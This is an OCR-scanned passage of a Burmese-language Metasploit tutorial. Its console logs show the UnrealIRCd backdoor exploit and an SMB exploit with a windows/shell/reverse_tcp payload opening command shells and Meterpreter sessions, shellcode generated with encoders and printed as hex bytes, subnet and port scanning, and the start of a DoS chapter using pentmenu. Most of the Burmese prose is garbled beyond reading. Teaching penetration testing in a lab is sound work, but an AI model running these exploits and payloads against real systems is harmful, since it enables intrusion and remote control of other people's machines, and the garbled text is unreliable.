*] + [192.168.43.150] (192.168.43.150): directory /dav/
*] directory Directory found.
*] GET Res code: 200
*]1+[192.168.43.150] (192.168.43.150): directory /cgi-bin/
*] directory Directory found.
*] GET Res code: 403

LSNP,

sf >

Q C 12 (o] . C cocC ’] C
Scan ¢> qfeooewy Vulnerability sogoy list mo@@&co [oploV]]
4 4 ° O L L S L
Q ° C C (o C ° (o]
wmap_vulns -1 o mw:@qeo@om’]mwu O$SOP0  PATAIOIVCAIEIM)
- L L 4 L L o O L

c _C . Q (o]
@@qe wmap_sites, wmap targets, wmap run, wmap_vulns s002260m
o, - - — - L O L

’] C . cC 9 O Q0 QO ’] C o °
80361@’30 1 G§’D(‘D(‘D OpthIlS OO0 O;)Gl(\)() C\)JCGOD’D -h o S’b&):@[ GTDGLD
& L L a7t s L L 1 o




ocC
&C Eoloncdi poe> - wmap_sites -h, wmap_run -h, etc

*] Importing 'NeXpose Simple XML' data

*] Importing host 172.16.194.172
*] Successfully imported /root/Nexpose/report.xml

C . C C C
3]@0 Scanning Tool m®?B®o§ Nexpose $ Scan 0o>co0203 Output
R ocC O C . C ° ocC ’] C C ’]
esult xml gcodcopd: msf ¢ input o sao?:@ﬁco G:WII FPCOMO

N Q N O N OC Qo

poedeo60) system > root > Nexpost c0e2§07 report.xml Celesiiilel=lev{en)
. o ° C C c
db_import command O?S’BCIB:B[@: ecTob ogc:@eo:ooo:o’]mwu

vsFTPd 2.3.4
ssh Open55H 4.7pl
telnet

]
[P N

smtp Postfix
dns-tcp BIND 9.4.2
dns e BIND 9.4.2

NN A I

6 BT, B NN
[T R Y]

s»cuo:oxﬂ(\)u Nessus ¢ Scan coo%ooo:@: Output ¢> .nbe §
L o 4 °

N OC o C . N C C ° ocC ’] C
J06:C00:0D LDCGOD(‘DC\)@Z db 1mp0rt § OO@ODCZS’BCDSE][&CO [eplob]]]
L oL — o 20 L L

5-11011

-11011 refs=N55-11011

JTC Vuln: host=172.16.197.124 -lllﬁt":'- refs=N55-11156
ITC Vuln: host=172.16.1¢ S-17975 refs=N55-17975




name=NSS-46882 refs=CVE-2010-20875

epecoc@o%o\)s'aa’] $20050l0dci5038:  CVE-2010-2075 o3
d O L L L L

2:2010-2875

Name Disclosure Date
exploit/unix/irc/unreal ircd 3281 backdoor 2010-06-12
ackdoor Command Execution

C ocC o ° Q _C
saoomo’]s»c;?c: search cve: o saoa:@[@:eo:? CVE number s20000
. o C ° ocC
Exploit eon0d epeco@@o\)saa’] §Yo o2} emqoSs'»o:c: Backdoor Command
o L 4 o ° ° L (e L

> use wplultmnlnlrc,aunrr'-al 1rcd 3281 backdoor
Ehplultﬂ

Command shell session 1 opened (172.16.197.124:4444 -> 172.16.197.124:35541

32

C’] ocC . C C c O .
[es]eple) S’BOZL)CZ SE€SsSs10on O)®9L (8(;08’38@@0(\) terminal command
° c O C C
[=]op] S’DCDSE][@S [S12]=1Sploplav] 61@ @@O’]ODOOII
[¢] L d [

Metasploit Fundamentals
MSF Console
msfconsole Cl)é Metasploit Framework €1 C\)@ ogep"st'): interface

8

6 BéO(]O)OOII MSF OOQ’D 610;)(%] feature GOZ)(T) O)®G§€T.)O)8 (‘DG§

N

L
05205398 Ee9C ®®eooo°o>9o@c MSF g, Stable 2[gbad: interface

69(\) S @60’103()8"
AR S

O

3



msf = ping -c 1 18.0.2.15
[*] exec: ping -c 1 18.8.2.15

PING 10.0.2.15 (10.0.2.15) 56(84) bytes of data.

--- 10.8.2.15 ping statistics ---
1 packets transmitted, © received, 100% packet loss, time ©ms

msf =

Q ’T‘ o
(D’DGOg S’BGJ’DZ@ZGO mDmDGM[Z

quiet mode § s’ao?:@gﬁo’]ea):mu%u

cd
color
connect
exit
get
getg
grep
help
history
irb
load
quit
route

Description

Help

menu

Display an awesome metasploit banner
Change the current working directory
Toggle color

Communicate with a host

Exit
Gets
Gets
Grep
Help
Show
Drop
Load
Exit

the console

the value of a context-specific variable
the value of a global variable

the output of another command

menu

command history

into irb scripting mode

a framework plugin

the console

Route traffic through a session

command ¢ ea%oy)é?”m e@oggonéj[:%qé help ¢ @%eﬂo@g

O’]O)OSII

= use exploit/windows/smb/
exploit/windows/smb/generic smb dll injection
exploit/windows/smb/group policy startup
exploit/windows/smb/ipass pipe exec

3]@8 990303@: payload e@e§moéjl:eogs’aogogmé: Tab key o%




msf exploit(
Exploit running as background job.
msT exploit(

C

Active exploit eoo:né 000898861’3 host eopecl Exploit cvben
o L o L J

@6@: e@:eaﬁ: Run ¢loooSi Background x6$$ Run eosJéeléem? - or%

mé@&@:&m&
msf = i
mst exploit( )=
RHOST => 192.168.1.160
msf exploit( ) =
PAYLOAD => windows/shell/reverse tcp
msf exploit( ) =
LHOST == 192.168.1.5
msf exploit( >
LPORT => 4444
mst exploit(
SMBUSER => victim
mst exploit(
SMBPASS == s3cr3t
msf exploit(

Connecting to the server...
Started reverse handler
Authenticating as user 'victim'...

Opening service...

Starting the service...

Removing the service...

Closing service handle...

Deleting \hikmEeEM.exe. ..

Sending stage (248 bytes)

Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:10873)

Microsoft Windows XP [Version 5.1.2660]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

50050] poedm Active Exploit or% $0§0 ew%@moo’]u Active




o o oC . Q ’]
36007 00:d30>Ce Passive conpiedeqli
. . . . o C
Passive Exploit o>eo>) incoming host e emg@: connect

03923 exploit c&cloncdi
msf exploit(

Active sessions

Id Description Tunnel
Meterpreter 192.168.1.5:52647 -> 192.168.1.100:4444

msf exploit( ) =
Starting interaction with 1...

meterpreter =

cOocC C

O q1- C C c _¢C .
enumerate coo&cow) shell coood list oooo@gqcelceooo sessions
L L ° O L L ° °

13 sa:f)"@gé@"eooo session e6o0d cqea|0oqceo) sessions -i (ID) 0o
L PYRCS: : 52 CEEIAPY 3 0%,

o c (S
8’33?8@[6‘[(?’3@00(]0’)()0"
msf >
msf exploit(
URIPATH => /
msf exploit( )
PAYLOAD => windows/shell/reverse tcp
msf exploit( e
LHOST == 192.168.1.5
msf exploit(
LPORT => 4444
msf exploit( =
Exploit running as background job.

Started reverse handler
Using URL: http://0.0.0.6:8088/
Local IP: http://192.168.1.5:8080/
Server started.
msf exploit( ) =
Attempting to expleit ani loadimage chunksize

C’] N . . . o . . c

$20000| PLE2ed attacker §, malicious website o) victim eeepad
(o . C ']

og|Cs exploit ElevielélfeaH]




ding stage (24¢
Command shell session 2 opened | BT S hiN e 18D nee

Payloads

Metasploit ¢> payload s‘c}on exploit module eogor% a‘c}c@o’]mof)u
metasploit ¢> Payload module :f?:éj[: eogq@:em’; singles, stagers § stages
or%(\) @ogo']coof)u Payload types cogseq e@o@qqéem’; Inline (Non Staged)

C C c o C cOo C N .

Payload ¢ 2050050200507 woes02¢@s203) full shell code ¢ exploit eog
o’]oée‘?o']mof)u Inline payload ecgeo all in one (sao:d’g:o’]oé@:oao:)
@o%oooe@oé counterpart eogooorg 83@: stable @o%o’]ooof)u CDO’S(JQO’S

C C C (o] C cOoCco C N c C
C\)OG&)’JCQJO)GO’)O) C\)OG&)’JC&C(DGTJS’BO’)O) stage payload GO’)§ VOO0
6L L Lo ST

L [¢]
C C C C N o e
QOez02CoMmen) Stager payload ey @o@o’]mwu attacker § victim @’3.

. . [ C
communication channel 003 ogzeoooc@: remote host ol execute
cocC C Q C C C OC'] (S
O&CoW) Stage payload o> OCEEP VOQSCOIMAI
L L ° L Jdv
Q Qo C °
Meterpreter ooeo>) Meta-Interpreter o cleal=lopplen sao?:@[oooz
c . . c _C C coc¢ c .
o @o@: dll injection o6$0000C YOcOCECEe00w) multi-faceted
C C C C
payload 002 @oo’]oooou Meterpreter 0po remote host €1 memory oc\xfo
Q . (8 C C C
ae:?@, Hard  Drive eoTooe§ egwgme,e@’)c‘,%

C
3
—nn

0

o

38

ogo%go%éo’]mof)u CFT (Conventional Forensic Techniques) e03$

o

Eo
20 LHO
ON GO

C N\ . . (o] C Q C Q C N _ 9. N\
sooaeo@:eooo scripts & plugins cooyLR: WSOV e@oc:moa:o
° o L L L L O
C . (o C C (o]
Slooodi PassiveX oreo»)  outbound  firewall SORE, P{VOOYOIERM
C N\ Q0 C (S . o ° . C
Celelssele ng‘%co']cooou ActiveX control o sao?@[@ hidden @®e§
C C cocC Q (o] C cocC o]
690C 0es0C&Cc0a> HTTP request & response 60307 COOGEOICECEOG

N\ C C ocC f] C
attacker § VMNRWYCVFCOIOOWI

o
NX oeory No eXecute Ol 923),6000 memory 6§epecRe> code
CRc c oco N c C N
execute cYo[gciemes MmORWEL:eCy CPU 60yc0ed 00p0620005002:0)
C C

log . [e] . .
feature 003 60lonoSi Windows SeplCe NX o5} Data Execution Prevention



(DEP) sa@og saol?:@[ooo:o']mugu Metasploit ¢2602 saat%o’] DEP (7%

C oCco C c 9 N o] (o Q
GEPCMRCISCATRMD  VHOIRCOED) payload eogao’]mwu NoNX o
eal Cloodi

e§oogo>og?meo>? Ord ol Ordinal payloads o% e@om’a@og@:

Q N C C C ’]C C’] C N .
QD0) TRAIYOIEOY TP 60 colCtoovloces0y Windows stager
based payload cog @ogo']m(ﬁu s»o:oaoqo%eogmem? Windows 9x C\%
N C C cocCc ¢Cc o C C ocC C ’] C
CEEMO) 00600 cuoeaooc&coae:e@: Y$TY$ DSCARCAA0l I
d ° [o 2] L L O d Ol o L d
Beadpd: 9201805:9105 98 e@oé Default choice secss oc0Oca0nE8E
I 2 SPRES Ul c % L
C C C . co . C C CcC _C
@§o']:7|>L:u 0Ol mM™m  exploit e@p?oe exploit @lqgoew QOC$IOPE

,_
o}

o C cC o O C C C o
ws2_32.dll o> loaded C\goooo,@c.eﬂeaeorr %memoe[ﬁog @0 3000
92285 05:9/ 00 00O M s'a@o"eoao stager copcood stable 3&:on 3[q: 90250523
C°§8°Cu| L ° g (o] L7°7° W PR
@@o’]mwu
C C C C c ¢ ¢
IPv6 network eogeoTcho QOEE0OCHMIEY QWOEIDICCHCEO)
. o ° ocC C C o C
Metasploit IPv6 payloads copod saoa:@éco']mwu =hgleskeetealololoalclops
O L L L ° ° c ° L N L °
Reflective DLL injection ol host Hard Drive o] ooeog@c:eae@:n memory
00D run 603 process 6oxad05 stage payload eoo3 inject WO $00:050
J $2 P (¢] L £¢ pay 52 M P00 $E0%
C Q C ocC ’] C ’] o [ C
003 eOWSCOlmWIN slecgmeoxy Types of Payloads ooy se09p:9)0
c L \L° é IL L c c o ° o L
e@o@@@csoao @@o’]mwu

Generating a Payload for Metasploit
Metasploit payload 603 msfconsole ¢ [gud8Ee(ognés

N

ogﬁeono; 0061@ Eé@o’]mwu Payload sanlm S’BQ)“E][O)S’})@,] Metasploit Obé

C
"generate", "pry" $ "reload" command emm fooléfes) esooco']om)u

f)

§%§’DGC\)8 0369'_ @gq@%’aco’]u

:~# service postgresql

:~# msTconsole -qg

° C
saog:@léo:) command ey e@o@eag:eg:@:oao:

sCO

C
OOO@GB’DBGO)?
[opH{~] 8"

i $

e paylo ad,a"'n,-.rindou.rs;'h:~11 bind tcp
oad | ) = help

pa 1

. . o
msf 059’3 windows payload eogo?)m shell bind tcp payload o>
o, o ’] C C C [og coc¢C C ] o O ’]
$9§2 o?,@ooo,o DIl OIVMOEaICECe0Y command 600y 350l
o o oC o _C cCOC C
cd:d9205¢3 help em,ﬂm@, eaT@g&Lco']mwu

L



Q ’] N . Q . cC Qo _¢C ’] C
%00l payload cOdode generate options o) 6g:g|OM0lWI
L d L Ol L

330(\)661@$:9:1%61€ e§’3(‘59’3 -h eco:ooé@: wmwée@ngo’]eoa:mugu
L d d °, L L

msf payload( ) > generate

# windows/shell bind tcp - 328 bytes

# http://www.metasploit.com

# VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,

# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=

"\Ke2\xXT2\x52\x57\x8b\x52\ x10\x8b\ x4a\x3Cc\x8b\ x4\ x11\x78"
"\ xe3\x48\x01\xd1\x51\x8b\ x59\x20\x01\ xd3\xBb\ x49\ x18\ xe3"
"\ x3a\x49\x8b\x34\ xBb\x0 1\ xd6\ x3 1\ xff\xac\xcl\xc T\ x0d\x01"
"AKCTAX3BAXeO\ X7\ XTO\ X3\ x7d\ X8\ x3b\ x7d\ x24\ Xx75\ xe4\ x58"

oa%eo:%mem? o> options ¢ oo&sooéem?:ﬁ generate
AB056loo6SI 9050lden @ée(ﬁegqéemo null byte (\x00) s303 bad

L L1 S L s T
character o’]oée§o>90% emq@oo’]u sgéf”eoao exploit eowoeo)  slod
L o ° 61 s L

° C C o 0 o O C C

s»oa:@lac @ooo:o’]mwu (eocoonm :D:;coelo’]mw)u 3le000d wqo:@:emo
L O ° L L L [ ° °

C ’] cocC C N 9 (o] C Q C N
0005010 0203)$00p2e20 S shell code eooy generate Qo@: 03007
(o] C [ege] . o ° C C

unwanted byte o> remove (cow)ooacg Metasploit (736 s»og:@lqoeeooc

ocC ’] C
§LCO [=jov{ealoN]]]

msf payload(
# windows/shell bind tcp - 355
# http://www.metasploit.com
ga nai
4444, RHOST=, PrependMigrate=false,
s, InitialAutoRunScript=, AutoRunScript=

buf =

"wxdawvxclyxdoyx 74\ x24\ x T4\ xb8\ xcB\ x2d \ x T\ x 17\ x5\ x29\ xc9"
"AEDIAXEIAKEINKCTAXOIN XS 1A XS TAX I3\ O3\ X8 1\ x8Be\ x 13\ xe2\ xf1"
"W X5\ X5 1\ x0d\ X099\ x9a\ X366\ xB7\> xab\x76\x T3\ x65\x9b\x46"
"WXTTAXZDA X180\ x2c\ xd5\ xd T\ xa3\ x40\ x T2\ xd 0\ x84\ x x24\xdf"
" x95\ 43\ 14\ xTe\ x16\x9e\ x49\ xad\ x2 7\ x51\ x9c\xal\x60\x8c"

?Qeo[@éqéeoyg x00 ey eeogqeo;’;o’]:fazu -b $ unwanted byte
00505305030l & 16 s09 wC@ 5903 @503’30’]0)&% null byt
? 2 J? PRRORACR il byte

[}
3 o3
°8/ 1'80 l-80

L
c e (S C ’] 9 _Q C cC O ¢cm¢ C
GS’B’DC@C‘CD)’D (DQ)O?OD@Z@GQ 1 SC\BC\BOGSO’DCC\B(“D@CZS’B’DZBQ null byte
C Q

C cocC C C C C C
H payload OZ)®9L(7? o GSO’D(T)&LC@B(DO’]O)OOII G§’D(‘DOD®9L @COD’DOD’D

0
[ele]e]

o

o c _C Q (S C Q °
m oooeoeo@@qc 328 bytes oo q@: VOOOI20Y 3050062607 355
Ld °, d L ° L Ld °

bytes @o%e§moo% eogelo’]eugu og)@o:qo% 27 bytes @ogo’]m(ﬁu (Qecg&lu



msf payload|( )
*x01\xe®\ x44\x67\xal\xa2\ xa3\x75\x4b"'

= generate -b '\x00\x44\x67\x66%\xTa\

o C C ’] Q CcC O
bytes sogp:0m cowo?o:@ooozmoo I 36000 null bytes oy
o C O C C CcC O C C
other unwanted bytes COQM MWD VOOMOIYEWVOND  §22CVPIEW
C’] C ° NN ] COC N\
cocolol 39@0: character Clepltioviiealy shell code 600y generate COO&C)

L
C C Q . hY C ’] ’] Cc 9 _Q [oge] C
89861 oD g metasp101t framework GL S’B’DZCD’D@J(T)O I 8leOeC SC\EC\B(.)éL (cD)QZ

C (o C N\ C ’] C ’] o O C C ’]
OD@ S’B(‘D§S’BODODQGO)’D 00000103 63202000100) SO(‘D@@O 1
o ° s L iL LL °

msf payload(
xal\xa2\xa3\x75\x4b\xFF

Payload ger
payload( ) =

Q C N QcC N . C o N\
0200y bytes =lep) :Doep:moogsgé] metasploit 0 5200050 QO
m sao%é: Payload generation failed: No encoders encoded the buffer

O N\ o [og ’] oC C
successfully. s003 message o em@cqo QOO
L ° L O °

(o] c 9o [ (o] C

Payload [=loplep] ®§OD§€T.)Q’D F26000Ca0: encoder s GGTS@JQ)GC\)
6L 1 L 6 'L "o °
Q ’] C . N Q C C ’] Q C C N
ao [opleb]]] metasp101t (0p]6] S’BC\BS’BGC\)’D(‘D ea:qweo:ago:moo 1 O%GCD’DC\)@ZO
. CMC Noo O Q _C N o] ° o o ° o
metasp101t (02 OOC@CODO‘D(‘D OGlQ‘D(‘DCD S’BQJ[GOD’D 00O S’BCDZE][@
oL L [1 o L 6L L [

Q C N oc Q ’] C . Q ’T‘ N ocC [QNN
C\BS’BOC\)’DO? S’B@J§GO§ S Oloo QI alphanumerlc C\a@@ (o8] (‘D§ZOQD§Z§°®’D

N N C N N . C O C
Q02207 character ey ©0p0>0) character 60> exploit WO e

-

sge@s'»e ™6205  Bodon:s @8@&3’35@ Soli 839@@39@ Sjpencon

? LL P 2 PalFs :
. Q C C C C .

shikata_ga nal o encoder pd w¢eqPed e@mo’]za:u encoder list &>

C c o ¢ C ’]O (o] ocC ’] C
@eeweoqc x86/nonalpha encoder c®3 0l§e$000) cog&colowi
°, L L d L oL

msf payload( ) = show encoders

Disclosure Date Rank
good
manual

low
normal

cmd/powershell base64 excellent
cmd/printf php mg manual printf(1l) vi
generic/eicar manual The EICAR En
; normal The "none" E
normal Byte XORi En
normal XOR Encoder
normal Byte XORi En
normal XOR Encoder

Q ° N C C
show encoders o S’BCDZE][@Z encoder cool rank GO)§ GLD’DE]QJ(‘DGO)
L L o O le o



msf payload| ) =
# windows/shell bind tcp - 470
ietasploit.com
nonalpha
., LPORT=4444, RHOST=, PrependMigrate=false,
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
buf =

"Wx66\xb\x T\ xFf\xeb\x19\x5e\x8b\xfe\x83\xc7\x6a\x8b\xd7"

"\x23\.'»:23'\.'»'.15\:»:30\123\.'»:37\.‘».1::\..L
"\NXOBAX27A\X13\X2TAX04\X27\x2b\x 13\ x 10\ x 11\ x22\x2b\ x2b\ x2b"
"\.‘»:13\.‘»:13\.‘»:11\:»:25\:»’.24\.‘»:13\.‘»:14 »24\ 1;\»24\»1.—:\»0?\&4\ 1“"

d\ f75\ "5"
4\ x09\x0c"

+ 4+ F o+

N

° o . C o ° N ’]

encoder ooeoa:eoe options 39@0 - » 39:)3:@[90)’30 o
sTL 1T i T S
8slcom 8gaadeoy 992 eor]é"@f)@“ mée@ooé@ 5§e922CH 1. -b §c0pds
g d (o] °VY ° ° Y 29 : oope:
C C C C C o °

null byte vodewdn 2. -e %m@: encoder egggoewi 3. -f o og:@: file

365500058 ooog@ SeoSi §2329/0503 e(ﬂé"@“ mée@ooé@ Sqeondi

PROORE @ 2 259 L ‘U Y 29
msf payload( ) = generate -b '\x00' -e x86/shikata ga nail
-t /root/Desktop/filename. txt

[#] Writing 1768 bytes to /root/Desktop/filename.txt...
msf payload( ) =

9. c [ , 19 0oc¢
8000 (gJ$e0d 2V:220m generate -b "x00' $520CieM 6,60

c[go[gaBeolgn -¢ eoeoxy encoder saess x86/shiKata ga nai o3 s2a3(g|
consSlonadi -f 36$5me0x Desktop eoTSso filename.txt 5265 086‘;(\%050']

C Q0 C (o] C c oc¢C ’] C
ool filename G§€T)@’J ee@lmmom OO@CDCZ&CO [eplob]]]
1 L 5 0 L

:~# leafpad Desktop/filename.txt
:~# gedit Desktop/filename.txt

:~# cat Desktop/filename.txt

@:qéem’; Desktop eoTSso oa%emgo% @%oe):c@o%o? txt

08 (=3¢
&7 On

C C Q c qe N oc Q0 c C

GGT.)(‘DG§ B(DC\) 200D 0I0C0OD30OCe (A2 §®CD(“D€T.) program o
[ L L 4

c cocC q C . NN c < q

gg@g@co [eploN]] cat (TDGO)? command hne OO(?’DO gg@gono Il

cq%moeo:m GUI e @ogo’]m(ﬁu
(o] o]



Scanning in Metasploit

msf = nmap -v 192.168.43.8/24 -oA subnet 1
[*] exec: nmap -v 192.168.43.0/24 -o0A subnet 1

Starting Nmap 7.60 ( https://nmap.org } at 2817-11-
Initiating ARP Ping Scan at 23:58
Scanning 255 hosts [1 port/host]
Completed ARP Ping Scan at 23:58, 1.96s elapsed (25]
Initiating Parallel DNS resolution of 255 hosts. at
Completed Parallel DNS resolution of 255 hosts. at
scan report for 192.168.43.0 [host down]
scan report for 192.168.43.2 [host down]
scan report for 192.168.43.3 [host down]
scan report for 192.168.43.4 [host down]

Recddmess nmap o3 msf 036000005 2205:(g|8ElordSi
3P 22CP% P 3 CRgOLOR:E 201%

L
° Q c O C ’] C
Nmap 0Oe0d) S’b’):(\e: OD@Z@@‘DC\% 9’3%89’3608 @G@D@GOD?O %ZSCOJ’DII
. C (o ’] C C ’] C
Scannlng %9%890(\)88 (6] OC@Z@@O [opleb]]]

msf = search portscan

auxiliary/scanner/http/wordpress pingback access
auxiliary/scanner/natpmp/natpmp_portscan
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/xmas
auxiliary/scanner/sap/sap router portscanner

C o ocC °
o0l oo?)mso)o?c: search portscan o7 sgo?:@[@: Port scan

LC C ’]e \ C C . Q
OOl 3200000 (BOO(‘D 3 G@’DCZG@’D(‘D module OpthIlS (73




8[@0588618 use GO’]II C\)OSO’]ODOSII UD’DSO(T%C\)SGlQ%ZQQ%Glé
L ° o L 1

o o ocC Q . Qo O coc¢C C
cO:029200C: help 0> show options 030 eaT@@&co’]eoa:mwu
L L L L L S L

uxiliary/( } > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description
BATCHSIZE f The number
DELAY - yes The delay b
INTERFACE no The name of
JITTER - yes The delay j
PORTS 1-10000 yes Ports to sc
RHOSTS yes The target
SNAPLEN 65535 es The number
THREADS 1 e The number
TIMEOUT 500 = The reply r

mst auxiliary(

show options eaT@éo:)s»:ﬂ Current column > ogo%cuﬁ
e§o>'3eo>c8 @éo’]u INTERFACE $ RHOSTS coon  0odcd
O L o, o [o] o

C
(2}
@C o ’] C N ’] o C o C C ’]
@®G§O)’D(‘Q 603610 OOl 328 GOCZ))(‘Q 8’261(38(38 00030COoll set

st auxiliary( ) = set INTERFACE wlan®
INTERFACE == wlan@

st auxiliary( ) = set RHOSTS 192.168.43.1/24

RHOSTS == 192.168.43.1/24
st auxiliary( ) =

oa%em%mem? wifi connection s»o?:@poo:mo@éa% INTERFACE

©>  wlan0 ooéa%o%o’]mugu @[:%a‘é:elé ethO ooéelo’]eugu RHOSTS
Q C C [ N O C N C

cpepeocon) IP o) 0009mpke0000 O /24§  COPYCOD0

GO@GlOr]QOSII © 1run aC §é§§é8 @6@861@8’3’38" show OptiOIlS OOSGQT@éII

ol



mst auxiliary( } = show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting

BATCHSIZE

DELAY

INTERFACE wlan@

JITTER 0]

PORTS 1-10000

RHOSTS 192.168.43.1/24
SNAPLEN 65535

THREADS 1

TIMEOUT 500

[§1]

m U

e D

=
i o M

(5]
mwmow

[

Ports to
The target
The number
The number
The reply

) D (D

oW

b
(T I ]
L¥4]

msf auxiliary(

C ocC ° c
sgoomo’]s'»o?c: current  €26027 ogogo:o’]@u sleoocy PORTS

Boyesepen port 1 ooes 10000 B @tge OSI 92q620PIE07 @’DQOSII
L7 §€T—)J p ? ? 61 ° k| ° s
(o [ [ C N Q C Cc O N ’] o C ’]
Ogﬁemom port 80 o:@as'»ogmo QICmOWH 3331 @ceﬁoeq I
C [ (o [ C
e@mm@am THREADS m@am@ @ GO OY$EOIDM  HOGALDMD
[ C Q ’] C (o [ o Q C
feo) °:>E))c:;e()>u 8607 sloopds 03020C set @ el

= set PORTS 80

msf auxiliary( ) = set THREADS 58

HREADS == 50
auxiliary(

:Do%ooo:eﬁom INTERFACE, PORTS, RHOSTS, THREADS
saoza‘izoaé md’):s’»@:ep: @6e§ono’]u 810503999’] 28m:maS eglo’]e®$u Iop)
L L L ° L L 1 o

run @é@%u



TCP OPEN 192.168.1.1:88
TCP OPEN 192.168.1.2:88
TCP OPEN 192.168.1.10:86
TCP OPEN 192.168.1.1089:80

TCP OPEN 192.168.1.116:80

TCP OPEN 192.168.1.158:808

Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed

(o c O (S N Q N ’T‘ C
OgﬁGO)’DOa scan e network OO(JQ’D a@§0°) S’DG@S’})G§GO %038 @8
N C Q C
61(\)’30? result 0;)8 an(f’)@d?d)(.ﬂll

= use auxiliary/scanner/portscan/tcp
auxiliary( ) > back
> use auxiliary/scanner/smb/smb _version
auxiliary( ) = back
= use auxiliary/scanner/ip/ipidseqg
auxiliary( ) = back
=

C

(o] C cocC C ’] C
S’E@’D:GCD’D scan @J’D:(‘QC\)@Z S’DC\)’JZOI? QBOG%DC%C(?’DB@O [oplob]]]

Finding Vulnerable MSSQL systems in Metasploit

msf = search mssgl

Disclosure Date

auxiliary/admin/mssql/mssql_enum
auxiliary/admin/mssql/mssql_enum domain accounts
auxiliary/admin/mssql/mssql_enum domain_accounts_sqli
auxiliary/admin/mssql/mssql enum sql logins
auxiliary/admin/mssql/mssql_escalate dbowner
auxiliary/admin/mssql/mssql escalate dbowner sgli
auxiliary/admin/mssql/mssql_escalate execute as
auxiliary/admin/mssql/mssql escalate execute as sgli
auxiliary/admin/mssql/mssql_exec
auxiliary/admin/mssql/mssql findandsampledata
auxiliary/admin/mssql/mssql_idf
auxiliary/admin/mssql/mssql ntlm stealer
auxiliary/admin/mssgl/mssgl nilm stealer sgli

o ° N\ ° ocC C ]
search mssql o> saoa:@[@: msf cen ww:@lécew module e
L L d L L ° O L

a’aeg%éo’]m(ﬁu




mst auxiliary( ) = show options

Module options (auxiliary/scanner/mssql/mssql_ping):

Name Current Setting Required Description
PASSWORD > passworc
RHOSTS € e target a
TDSENCRYPTION se se TLS/SSL
THREADS e e number o
USERMNAME 2 username
USE WINDOWS AUTHENT e : e windows

msf auxiliary( .
o o ocC . C C N
o o?.,co)s'»o?c, show cc\)ptlons e@o@gq}s’a:ﬂ RHOOSTS 6$EPLD
lopleplanls! @®e§o>o echﬂewu required column ¢> yes o ESeepHesplen)
o (e g 4 [
[ C C O o 0 C (o [ (o
9B®9e§ ggqewm B30l Mo5d @®e§moq|czsao>o> PASSWORD
2 [ L L o IL I
. C N C C Q N
o2 required column ¢> no @®e§o>sgmm user & password e@®9e§ favlep}
4 4 ° (o] L °
s'»e@s'»e » ¢ 02238 E0lomcSi
? 061 °T1
mst auxiliary(
RHOSTS == 10.08.2.15/24
msf auxiliary(

SAL Server information for 10.0.2.15:
tcp = 1433

np = SSHACKTHISBOX-Opipesqlquery
Version = 8.00.194

InstanceMame = MS5QLSERVER
IsClustered = No

ServerMame = SSHACKTHISBOX-0

Auxiliary module execution completed

nuffle

msf epl=Xs sniffer o%cu 5:0 830?:@{%50’]@&):0)&%



-ch snmp

Matching Modul

Disclosure

auxiliary/admin/cisco/cisco_asa extrabacon
auxiliary/admin/scada/moxa cre .ntials_recovery 2015-07-28
auxiliary/scanner/misc/oki scanner

auxiliary/scanner/snmp/aix version
auxiliary/scanner/snmp/arris_dg95e
auxiliary/scanner/snmp/brocade enumhash
auxiliary/scanner/snmp/cambium_snmp_loot

°

N N C . (o] ocC ’]
msf 020 snmp 820000 CXplOlt [={eplep] 61’.)6(0 D& CO ODOOII
4 o o L 4 o L L

db connect Connect to an existing database
db disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the data
db import Import a scan result file (filetype will be auto-
db_nmap es nmap and re he output automaticall
db rebuild cache R ' the database d module cache
db_status Jhow > current database status
hosts List hosts in the database

List loot in the databa

List nnte; in thP datab

List

List
workspace

Database command eogo% ogglc@(ﬂm msf 0590 help databas

[¢)]
00

[og cOC C ]
e@o@g@c@: command column X ploplen) command Sleptes
%)

° ocC C . . .
sga:ezﬁﬁccﬂo;wu www.offensive-security.com/metasploit-unleashed :
Cc _© (o o _C [og C ] C ocC
m@@@me@oc: 2620000 em@qlmem:eogo? 00IQEOPAI&ECED
(o C C . C C (o
@@cﬂmwu Facebook Group ¢copo: Group File m@@ epiSllevleVatebleler

N

C (o] ° O Q C . C °

pdf eo’]c:qp:ogoo? gce:;eo:ogo:o’]e:ewu Metasploit so)e@oc: 99@ %29
co C C C ocC C
e@o@c&em’; ®oqlm§osge@sge§sgq sgeocee@one@'ag SOPQO&COW)

o}

C (o] C C C ’] C . C
QOO0 GJ’DZ(‘I?OD’D G@D@GOZOO’DZ@CZB‘DO ool Port FOI’WBI’dlIlg 9’39§8?’3C\)88

metasploit me@oé: 06 o’]%lmoéztfoﬁéo’]m(ﬁeéqou



CHAPTER 25: DoS & DDoS Attacks

Introduction

N Q (o] ° Q C N

DoS § DDoS 0005607  922:00: @D:wﬁz[@moa\lescﬂou

Denial-of-Service (DoS) ¢ Distributed Denial-of-Service (DDoS) eogoaé

Bd3deemder  mepiad: 6fqoy  dHSDonrexgoll:  cgod
L L JL o 4 L [ 0] ° L L JL °

@o%eoTQDJOS %of]mugu o@oaés’aepzqmem? DoS § DDoS Attack RBR
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Cannot Connect to Weabsite

Please make sure:
- You have entered the correct URL.
- You are connected to the Internet.
- Your firewall is properly configured.
- The website is not encountering any technical problem at the moment.
% Reload This Page
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DoS Attack with Pentmenu in Kali
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:~# git clone https://github.com/GinjaChris/pentmenu.git
Cloning inte 'pentmenu’...
remote: Counti object 499, =

Compressing objects: 10 (38/38), done.
: Total 499 (delta 15), reused @ (delta ®), pack-reused 461
iving objects: 1@ (499/499), 143.17 KiB | 214.00 KiB/s, done.
5 % (254/254), done.

git clone https://github.com/GinjaChris/pentmenu.git o% Terminal
C C O Co ’] oCc oc¢ N C N C ’] C
MDOPRRM{OlI PCVSOD AT FMECVLY, elc\mfo@@o featob
:~# cd pentmenu
:~/pentmenu# 1s
LICENSE pentmenu README.md

Cc Q L [e] Q C C
run q@o@@a@ executable permission c0:Q Qwoo’]mwu chmod +x
N .

. Q _C C
i permission GOZC\B(‘D(.;]O)OOII

